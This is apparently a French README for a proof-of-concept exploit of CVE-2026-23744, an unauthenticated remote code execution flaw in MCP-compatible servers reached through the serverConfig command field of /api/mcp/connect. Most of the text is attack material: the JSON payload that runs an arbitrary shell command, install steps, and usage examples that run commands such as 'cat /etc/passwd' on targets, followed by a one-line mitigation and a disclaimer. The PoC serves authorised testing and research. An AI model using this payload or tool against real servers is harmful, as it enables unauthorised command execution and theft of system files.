
# PoC Python pour CVE-2026-23744, RCE non authentifié dans les serveurs MCP via le champ de commande serverConfig de /api/mcp/connect (port par défaut 6274)
Preuve de concept exploit par d3vn0mi
CVE-2026-23744 est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans les serveurs compatibles MCP exposés sur le port 6274. Le point de terminaison /api/mcp/connect accepte un objet serverConfig qui permet aux appelants de spécifier une commande OS arbitraire et des arguments — sans aucune vérification d'authentification ou d'autorisation.
Un attaquant ayant un accès réseau au service peut exécuter des commandes arbitraires en tant qu'utilisateur exécutant le serveur MCP.
| Détail | Valeur |
|---|
| ID CVE | CVE-2026-23744 |
| Type | Exécution de code à distance non authentifiée |
| Point de terminaison | POST /api/mcp/connect |
| Port | 6274 (par défaut) |
| Sévérité | Critique |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
Le serveur lance la command fournie avec les args donnés sans assainissement ni contrôle d'accès.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Utilisation de base
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# Port personnalisé
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Ignorer la vérification de joignabilité
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# ID de serveur personnalisé
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Indicateur | Description |
|---|---|
-t, --target | IP ou nom d'hôte cible (requis) |
-c, --command | Commande OS à exécuter (requise) |
-p, --port | Port cible (par défaut : 6274) |
-s, --server-id | Valeur serverId dans la charge utile |
--timeout | Délai d'expiration de la sonde en secondes (par défaut : 30) |
--no-check | Ignorer la vérification initiale de joignabilité |
/api/mcp/connect via l'authentification et des contrôles au niveau du réseau.Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive. Obtenez toujours une autorisation appropriée avant de tester.
Ce projet est sous licence MIT License.
d3vn0mi — github.com/d3vn0mi